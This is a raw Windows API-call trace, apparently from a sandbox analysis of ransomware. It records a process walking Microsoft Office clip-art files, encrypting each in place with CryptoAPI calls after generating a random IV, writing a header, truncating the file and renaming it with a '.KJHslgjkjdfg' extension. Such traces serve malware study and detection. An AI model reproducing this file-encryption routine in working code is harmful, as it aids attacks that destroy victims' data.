ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03464_.WMF", cAlternateFileName="")) returned 1 [0220.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.895] GetProcessHeap () returned 0x2ef0000 [0220.895] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0220.895] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0220.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0220.895] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0220.932] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0220.932] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0220.932] GetProcessHeap () returned 0x2ef0000 [0220.932] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0220.932] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0220.932] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0220.932] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0220.932] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0220.932] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0220.932] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0220.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0220.933] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0220.933] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0220.933] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0220.933] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.933] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1664, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1664, lpOverlapped=0x0) returned 1 [0220.949] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1670, dwBufLen=0x1670 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1670) returned 1 [0220.949] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.949] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1670, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1670, lpOverlapped=0x0) returned 1 [0220.949] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0220.949] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.949] SetEndOfFile (hFile=0x130) returned 1 [0220.952] GetProcessHeap () returned 0x2ef0000 [0220.952] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0220.952] GetProcessHeap () returned 0x2ef0000 [0220.952] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0220.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf.kjhslgjkjdfg")) returned 1 [0220.954] CloseHandle (hObject=0x130) returned 1 [0220.954] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x41a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03466_.WMF", cAlternateFileName="")) returned 1 [0220.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.955] GetProcessHeap () returned 0x2ef0000 [0220.955] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0220.956] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0220.956] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0220.956] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0220.956] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0220.956] GetProcessHeap () returned 0x2ef0000 [0220.956] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0220.956] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0220.956] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0220.956] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0221.159] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0221.159] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0221.159] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0221.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0221.159] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0221.159] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0221.159] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0221.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.159] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x41a0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x41a0, lpOverlapped=0x0) returned 1 [0221.169] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x41a0, dwBufLen=0x41a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x41a0) returned 1 [0221.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.169] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x41a0, lpOverlapped=0x0) returned 1 [0221.170] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0221.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.170] SetEndOfFile (hFile=0x130) returned 1 [0221.171] GetProcessHeap () returned 0x2ef0000 [0221.171] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0221.171] GetProcessHeap () returned 0x2ef0000 [0221.171] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0221.171] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf.kjhslgjkjdfg")) returned 1 [0221.173] CloseHandle (hObject=0x130) returned 1 [0221.173] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03470_.WMF", cAlternateFileName="")) returned 1 [0221.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0221.174] GetProcessHeap () returned 0x2ef0000 [0221.174] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0221.175] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0221.175] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0221.175] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0221.177] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0221.177] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0221.177] GetProcessHeap () returned 0x2ef0000 [0221.177] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0221.177] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0221.177] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0221.177] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0221.178] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0221.178] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0221.179] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0221.179] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0221.179] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0221.180] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0221.180] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0221.180] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.180] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3998, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3998, lpOverlapped=0x0) returned 1 [0221.180] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x39a0, dwBufLen=0x39a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x39a0) returned 1 [0221.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.181] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x39a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x39a0, lpOverlapped=0x0) returned 1 [0221.181] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0221.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.181] SetEndOfFile (hFile=0x130) returned 1 [0221.187] GetProcessHeap () returned 0x2ef0000 [0221.187] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0221.187] GetProcessHeap () returned 0x2ef0000 [0221.187] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0221.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf.kjhslgjkjdfg")) returned 1 [0221.189] CloseHandle (hObject=0x130) returned 1 [0221.189] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3716500, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3716500, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03513_.WMF", cAlternateFileName="")) returned 1 [0221.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0221.191] GetProcessHeap () returned 0x2ef0000 [0221.191] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0221.191] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0221.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0221.192] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0221.199] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0221.199] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0221.199] GetProcessHeap () returned 0x2ef0000 [0221.199] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0221.199] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0221.199] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0221.199] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0221.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0221.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0221.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0221.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0221.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0221.200] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0221.200] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0221.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.200] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xec4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xec4, lpOverlapped=0x0) returned 1 [0221.200] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xed0, dwBufLen=0xed0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xed0) returned 1 [0221.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.201] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xed0, lpOverlapped=0x0) returned 1 [0221.201] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0221.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.201] SetEndOfFile (hFile=0x130) returned 1 [0221.203] GetProcessHeap () returned 0x2ef0000 [0221.203] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0221.203] GetProcessHeap () returned 0x2ef0000 [0221.203] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0221.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf.kjhslgjkjdfg")) returned 1 [0221.205] CloseHandle (hObject=0x130) returned 1 [0221.205] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32062000, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32062000, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x1868, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03668_.WMF", cAlternateFileName="")) returned 1 [0221.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0221.206] GetProcessHeap () returned 0x2ef0000 [0221.206] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0221.206] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0221.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0221.206] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, 